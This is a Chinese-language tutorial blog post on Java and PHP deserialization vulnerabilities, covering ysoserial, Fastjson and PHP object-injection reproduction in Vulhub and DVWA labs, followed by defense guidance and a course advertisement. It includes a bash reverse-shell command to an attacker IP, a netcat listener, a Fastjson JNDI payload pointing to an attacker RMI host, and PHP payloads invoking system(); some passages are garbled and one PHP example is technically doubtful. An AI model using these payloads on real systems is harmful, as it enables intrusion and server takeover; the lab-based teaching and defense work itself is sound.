反序列化漏洞详解(第二期):实战利用、工具实操与防御方案
反序列化漏洞详解(第二期):实战利用、工具实操与防御方案
摘要:承接反序列化漏洞第一期(基础认知与原理),本期聚焦实战落地——拆解Java、PHP反序列化漏洞的具体利用方法,结合DVWA、Vulhub靶场完成实操复现,讲解主流利用工具(ysoserial、PHP反序列化工具)的使用技巧,最后给出可落地的全方位防御方案。
核心说明:本文为反序列化漏洞系列第二期(实战防御篇),需结合第一期基础内容学习(建议先掌握序列化/反序列化本质、Java/PHP机制差异)。
全文侧重“实操性”,所有靶场复现步骤均经过实战验证,工具使用清晰易懂,防御方案可直接应用于实际开发,适合零基础新手、转行从业者、安全测试人员学习,也可作为企业安全运维的参考资料。

一、前言:实战是掌握反序列化漏洞的核心
第一期我们已经搞懂了反序列化漏洞的核心原理、触发前提,以及Java、PHP两大语言的序列化机制——反序列化漏洞的本质是“未校验的恶意序列化数据,触发危险逻辑”。但仅懂原理远远不够,网安学习的核心是“实战”,只有亲手完成漏洞利用、掌握工具使用,才能真正理解漏洞的危害,进而做好防御。
本期内容将围绕“实战”展开,分为三大模块,层层递进:
-
模块1:Java反序列化漏洞——利用链解析、工具实操、Vulhub靶场复现;
-
模块2:PHP反序列化漏洞——魔术方法利用、DVWA靶场复现、手动构造Payload;
-
模块3:反序列化漏洞全方位防御方案——开发层面、运维层面、工具层面,搭配可落地代码示例。
重要提醒:所有实战操作仅可在自有靶场、授权测试环境中进行,严禁对未授权的网站、系统发起攻击,坚守法律法规和职业道德,违规操作需承担相应法律责任。
二、Java反序列化漏洞:实战利用与靶场复现
Java反序列化漏洞的核心特点是“依赖利用链(Gadget Chain)”,单个类的readObject()方法通常无法直接执行恶意命令,需串联多个类的方法,形成完整的利用链,最终触发远程代码执行(RCE)。本期重点讲解最经典的利用链(Apache Commons Collections)和工具使用,结合Vulhub靶场完成复现。
2.1 核心前提:Java反序列化漏洞利用条件(回顾)
需同时满足以下3个条件,才能成功利用Java反序列化漏洞(第一期重点,此处回顾,方便实操):
-
程序存在反序列化操作(调用ObjectInputStream.readObject()方法);
-
反序列化的输入数据可被攻击者控制(如HTTP参数、Cookie、文件上传等入口);
-
程序依赖存在漏洞的第三方库(如Apache Commons Collections 3.x < 3.2.2版本),可构造利用链。
2.2 核心工具:ysoserial(Java反序列化Payload生成工具)
ysoserial是Java反序列化漏洞最常用的Payload生成工具,开源免费,内置多种主流利用链(如CommonsCollections、Fastjson、Weblogic等),可快速生成恶意序列化数据,无需手动构造,极大降低利用门槛。
2.2.1 工具下载与配置
-
下载地址:GitHub搜索“ysoserial”,克隆源码(git clone https://github.com/frohoff/ysoserial.git);
-
环境要求:JDK 1.7+(建议1.8),Maven(用于编译源码);
-
编译步骤:进入ysoserial源码目录,执行命令 mvn clean package -DskipTests,编译成功后,在target目录下生成ysoserial-xxx.jar文件(核心可执行文件);
-
核心用法:命令行执行 java -jar ysoserial.jar [利用链名称] [命令] > payload.ser,生成恶意序列化文件payload.ser。
2.2.2 常用利用链与命令示例
ysoserial支持多种利用链,不同利用链适配不同的第三方库版本,新手重点掌握以下3种(高频实用):
-
CommonsCollections6:适配Apache Commons Collections 3.x版本,最经典、最常用的利用链,可直接执行系统命令;
-
Fastjson1:适配Fastjson 1.2.24及以下漏洞版本,利用AutoType机制触发漏洞;
-
Weblogic:适配Weblogic T3协议反序列化漏洞(如CVE-2018-2628),可实现未授权远程代码执行。
命令示例(生成CommonsCollections6利用链,执行反弹shell命令):
# 格式:java -jar ysoserial.jar 利用链名称 "反弹shell命令" > 恶意序列化文件
java -jar ysoserial.jar CommonsCollections6 "bash -i >& /dev/tcp/192.168.1.100/8888 0>&1" > shell.ser
说明:192.168.1.100是攻击者主机IP,8888是监听端口,执行命令后生成shell.ser,将该文件作为输入,传入存在漏洞的程序,即可触发反弹shell。
2.3 靶场实战复现:Vulhub(Apache Commons Collections反序列化漏洞)
选用Vulhub靶场的“Apache Commons Collections反序列化漏洞”场景(CVE-2015-7501),该漏洞是Java反序列化的经典案例,依赖Apache Commons Collections 3.2.1版本,可直接利用ysoserial生成Payload,完成远程代码执行。
2.3.1 前置准备
-
搭建Vulhub靶场(参考第一期靶场搭建方法,Docker版最便捷);
-
进入Vulhub漏洞目录:cd vulhub-master/commons-collections/CVE-2015-7501;
-
启动漏洞环境:docker-compose up -d(启动成功后,访问http://localhost:8080,即可看到漏洞页面);
-
准备ysoserial工具(已编译完成)、Kali Linux攻击机(用于监听反弹shell)。
2.3.2 复现步骤(全程实操,新手可照搬)
-
攻击机监听端口:在Kali中执行命令 nc -lvp 8888,监听8888端口,等待靶机反弹shell;
-
生成恶意Payload:使用ysoserial生成CommonsCollections6利用链的Payload,命令如下:
java -jar ysoserial.jar CommonsCollections6 “bash -i >& /dev/tcp/192.168.1.100/8888 0>&1” > shell.ser
(替换192.168.1.100为Kali攻击机IP) -
发送Payload,触发漏洞:通过POST请求,将shell.ser文件上传到靶机的反序列化入口(漏洞页面默认支持文件上传,直接上传shell.ser即可);
-
验证漏洞利用:上传完成后,查看Kali监听窗口,若成功接收到反弹shell,说明漏洞利用成功,此时可执行任意系统命令(如whoami、ls等),获取靶机控制权。
2.3.3 关键说明
该漏洞的核心利用逻辑:靶机程序使用Apache Commons Collections 3.2.1版本(存在漏洞),且接收外部上传的序列化文件,执行反序列化操作;攻击者通过ysoserial生成恶意序列化数据,靶机反序列化时,触发CommonsCollections6利用链,执行反弹shell命令,最终获取服务器控制权。
2.4 Fastjson反序列化漏洞补充(高频场景)
Fastjson是Java生态中最常用的JSON解析库,其反序列化漏洞(如CVE-2022-25845、CVE-2017-18349)曾引发大规模安全事件,核心原因是AutoType机制的安全缺陷——攻击者通过构造恶意JSON字符串,加载恶意类,触发JNDI注入,实现远程代码执行。
核心利用步骤(Vulhub复现)
-
启动Vulhub Fastjson 1.2.24漏洞环境:cd vulhub-master/fastjson/1.2.24-rce,执行docker-compose up -d;
-
构造恶意JSON Payload(利用JdbcRowSetImpl类的JNDI注入漏洞):
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://192.168.1.100:9999/Exploit", "autoCommit": true } }(192.168.1.100为攻击机IP,9999为RMI服务端口,Exploit为恶意类名称)
-
在攻击机启动RMI服务,部署恶意类;
-
向靶机发送POST请求,提交恶意JSON数据(Content-Type设为application/json),触发反序列化漏洞,执行恶意代码。
注意:Fastjson 1.2.83以下的1.x版本、2.0.45以下的2.x版本均存在安全风险,实际开发中需升级至安全版本。
三、PHP反序列化漏洞:实战利用与靶场复现
PHP反序列化漏洞的利用门槛远低于Java,核心依赖“魔术方法”,序列化格式为明文字符串,可直接手动构造恶意Payload,无需复杂的利用链。本期结合DVWA靶场,拆解魔术方法的利用技巧,完成手动注入和工具辅助注入。
3.1 核心前提:PHP反序列化漏洞利用条件(回顾)
-
程序存在unserialize()函数调用(反序列化操作);
-
unserialize()函数的参数可被攻击者控制(如HTTP参数、Cookie等);
-
程序中存在包含危险操作的魔术方法(如__wakeup()、__destruct()),且操作参数可被控制。
3.2 核心技巧:手动构造PHP恶意序列化Payload
PHP序列化格式为明文字符串(如O:5:“User”:2:{s:8:“username”;s:5:“admin”;s:8:“password”;s:6:“123456”;}),攻击者可直接修改格式中的属性值,构造恶意Payload,触发魔术方法中的危险操作。
3.2.1 示例:利用__destruct()魔术方法触发漏洞
假设DVWA靶场中存在如下漏洞代码(Low级别,无防护):
<?php
class User {
private $cmd;
// 魔术方法:对象销毁时触发
public function __destruct() {
// 危险操作:执行系统命令
system($this->cmd);
}
}
// 接收用户输入的序列化数据,执行反序列化
$serialized = $_GET['data'];
unserialize($serialized);
?>
漏洞分析:unserialize()函数的参数data可被攻击者控制,User类的__destruct()方法中存在system()命令执行,且 c m d 参数可控,只需构造恶意序列化数据,修改 cmd参数可控,只需构造恶意序列化数据,修改 cmd参数可控,只需构造恶意序列化数据,修改cmd的值,即可执行任意系统命令。
3.2.2 手动构造Payload步骤
-
编写正常的序列化代码,生成基础序列化字符串:
<?php class User { private $cmd = "whoami"; // 恶意命令 } echo serialize(new User()); ?> -
执行上述代码,生成序列化字符串(注意private属性的格式,会包含不可见字符,需特殊处理):
O:4:“User”:1:{s:9:“Usercmd”;s:6:“whoami”;}
(注:private属性的字段名格式为“类名+属性名”,中间有不可见字符,实际构造时需保留) -
将生成的序列化字符串,通过GET参数传入靶机:http://localhost/dvwa/vulnerabilities/deserialization/?data=O:4:“User”:1:{s:9:“Usercmd”;s:6:“whoami”;};
-
靶机执行反序列化操作,对象销毁时触发__destruct()方法,执行whoami命令,页面回显命令执行结果,漏洞利用成功。
3.3 靶场实战复现:DVWA(PHP反序列化漏洞)
选用DVWA靶场的“Deserialization”模块(反序列化漏洞),将安全级别调至Low,完成手动注入复现,步骤清晰,新手可直接照搬。
3.3.1 前置准备
-
搭建DVWA靶场,将安全级别调至Low;
-
登录靶场,进入“Deserialization”模块(反序列化漏洞模块);
-
查看漏洞代码(点击页面下方“View Source”),分析魔术方法和危险操作。
3.3.2 复现步骤
-
分析漏洞代码:DVWA Low级别反序列化漏洞代码如下(核心部分):
<?php if( isset( $_GET[ 'data' ] ) ) { $data = $_GET[ 'data' ]; $obj = unserialize( $data ); } ?> class User { public $name; public $age; public function __destruct() { echo "Hello, " . $this->name; } }分析:unserialize()函数的参数data可控制,User类的__destruct()方法会输出 n a m e 的值,若 name的值,若 name的值,若name中包含恶意代码(如XSS、命令执行),可触发进一步漏洞;此处我们构造命令执行Payload。
-
构造恶意Payload:修改User类的$name属性,插入命令执行代码,生成序列化字符串:
<?php class User { public $name = "<?php system('whoami');?>"; public $age = 18; } echo serialize(new User()); ?> 生成的序列化字符串: O:4:"User":2:{s:4:"name";s:27:"<?php system('whoami');?>";s:3:"age";i:18;} -
发送Payload,触发漏洞:将上述序列化字符串作为data参数,传入靶机URL:
http://localhost/dvwa/vulnerabilities/deserialization/?data=O:4:“User”:2:{s:4:“name”;s:27:“<?php system('whoami');?>”;s:3:“age”;i:18;} -
验证结果:页面会执行whoami命令,回显靶机的用户身份(如www-data),说明漏洞利用成功;若修改命令为“ls”,可查看当前目录下的文件。
3.3.3 进阶:利用__wakeup()方法绕过与工具辅助
若靶机对序列化字符串进行简单校验(如限制属性个数),可利用PHP反序列化的__wakeup()绕过漏洞——修改序列化字符串中的属性个数,使其大于实际属性个数,即可绕过__wakeup()方法的执行,触发__destruct()方法。
示例:将上述Payload中的属性个数从2改为3,绕过__wakeup():
O:4:“User”:3:{s:4:“name”;s:27:“<?php system('whoami');?>”;s:3:“age”;i:18;}
工具推荐:PHP反序列化Payload生成工具(如PHP Unserialize Payload Generator),可自动构造恶意Payload,支持魔术方法选择、属性修改,适合新手快速上手。
四、反序列化漏洞:全方位防御方案(可落地)
反序列化漏洞的防御核心是“阻断漏洞触发的三个前提”——要么禁止反序列化不可信数据,要么对输入数据进行严格校验,要么消除危险逻辑。以下从开发、运维、工具三个层面,给出可落地的防御方案,搭配代码示例,适合开发人员和安全运维人员使用。
4.1 开发层面:从代码源头封堵漏洞(最核心)
开发层面的防御是最根本的,重点在于“规范序列化/反序列化操作”,避免信任不可信数据,消除危险逻辑。
4.1.1 Java开发防御方案
-
避免反序列化不可信数据:尽量避免对外部输入的、不可信的数据进行反序列化操作;若必须使用,需对数据进行严格校验(如签名、加密)。
-
升级第三方依赖:及时升级存在漏洞的第三方库(如Apache Commons Collections、Fastjson),使用安全版本(如Fastjson 1.2.83+、Apache Commons Collections 3.2.2+),参考安全版本依赖配置:
<!-- Fastjson安全版本依赖 --> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.83</version> <!-- 修复所有已知漏洞 --> </dependency> <!-- Apache Commons Collections安全版本依赖 --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.2</version> </dependency> -
重写readObject()方法,增加校验:在可序列化的类中,重写readObject()方法,对反序列化的对象进行校验,拒绝恶意数据。
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
// 先执行默认反序列化
in.defaultReadObject();
// 校验对象属性,拒绝恶意数据
if (this.cmd != null && !this.cmd.equals(“合法命令”)) {
throw new SecurityException(“非法命令,拒绝反序列化”);
}
} -
禁用危险利用链:通过配置,禁用Java反序列化的危险利用链(如禁止加载恶意类、限制JNDI查询地址);对于Fastjson,关闭AutoType机制(禁止使用@type字段)。
4.1.2 PHP开发防御方案
-
严格校验反序列化参数:对unserialize()函数的输入参数进行严格校验,如白名单校验、格式校验,拒绝异常的序列化字符串。
<?php $data = $\_GET\['data'\]; // 白名单校验:仅允许指定的序列化字符串格式 $allow\_payload = array("O:4:\\"User\\":2:{s:4:\\"name\\";s:5:\\"admin\\";s:3:\\"age\\";i:18;}"); if (!in\_array($data, $allow\_payload)) { die("非法输入,拒绝反序列化"); } unserialize($data); ?> -
避免魔术方法中的危险操作:不在__wakeup()、__destruct()等魔术方法中执行系统命令、文件写入、数据库操作等危险操作;若必须使用,需对参数进行严格过滤。
-
使用安全的序列化方式:避免使用serialize()/unserialize()函数,改用更安全的序列化方式(如JSON格式,使用json_encode()/json_decode()函数),JSON格式不会触发魔术方法,安全性更高。
-
过滤特殊字符:对反序列化的输入数据,过滤单引号、双引号、反斜杠等特殊字符,防止恶意Payload注入。
4.2 运维层面:强化环境防护(辅助防御)
-
定期更新系统与组件:定期更新服务器操作系统、Web容器(如Tomcat、Nginx)、数据库,修复已知的反序列化相关漏洞(如Weblogic T3协议漏洞)。
-
限制数据库/服务器权限:Web应用连接数据库的账号,仅授予必要的权限(如查询、插入),禁止授予文件读写、命令执行等高危权限;服务器账号权限最小化,避免漏洞被利用后获取高权限。
-
监控反序列化操作:通过日志监控工具(如ELK),监控程序中的反序列化操作,及时发现异常的序列化数据输入,告警潜在的攻击行为。
-
禁用危险协议与端口:禁用不必要的协议(如Weblogic T3协议)、端口,减少反序列化漏洞的攻击入口;对于Vulhub、DVWA等靶场环境,禁止部署在公网。
4.3 工具层面:使用安全工具辅助防御
-
使用WAF防护:部署Web应用防火墙(WAF),开启反序列化漏洞防护规则,拦截恶意的序列化数据(如ysoserial生成的Payload、恶意JSON字符串),可有效阻断大部分自动化攻击。
-
代码审计工具:使用代码审计工具(如SonarQube、FindSecBugs),在开发阶段扫描代码中的反序列化漏洞(如未校验的unserialize()调用、危险的魔术方法),提前发现并修复漏洞。
-
漏洞扫描工具:定期使用漏洞扫描工具(如Nessus、AWVS),扫描系统中的反序列化漏洞,及时发现潜在的安全风险,进行整改。
五、系列总结:攻防兼备,彻底搞定反序列化漏洞
反序列化漏洞系列文章(两期)已全部更新完毕,从基础原理到实战利用,再到防御方案,形成完整的学习体系,核心总结如下,帮助大家梳理重点,学以致用:
-
核心本质:反序列化漏洞的根源是“程序信任了不可信的序列化数据,触发了危险逻辑”,触发需满足3个前提(存在反序列化、输入可控制、有危险逻辑);
-
语言差异:Java反序列化依赖利用链和第三方库,需使用ysoserial工具生成Payload,门槛较高;PHP反序列化依赖魔术方法,格式为明文字符串,可手动构造Payload,门槛较低;
-
实战关键:Java重点掌握ysoserial工具使用和Vulhub靶场复现,PHP重点掌握手动构造Payload和DVWA靶场实操,多动手练习,才能真正掌握;
-
防御核心:开发层面从代码源头封堵(校验数据、升级依赖、消除危险逻辑),运维层面强化环境防护,工具层面借助WAF和审计工具辅助防御,三者结合,才能彻底封堵漏洞。
反序列化漏洞虽然隐蔽性强、危害大,但只要掌握其原理和利用方式,做好全方位的防御,就能有效规避风险。对于新手而言,建议先吃透第一期的基础原理,再动手完成本期的靶场实操,逐步提升实战能力;对于开发和运维人员,可直接参考本期的防御方案,落地到实际工作中,减少漏洞产生的可能。
网安学习资源
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
更多推荐



所有评论(0)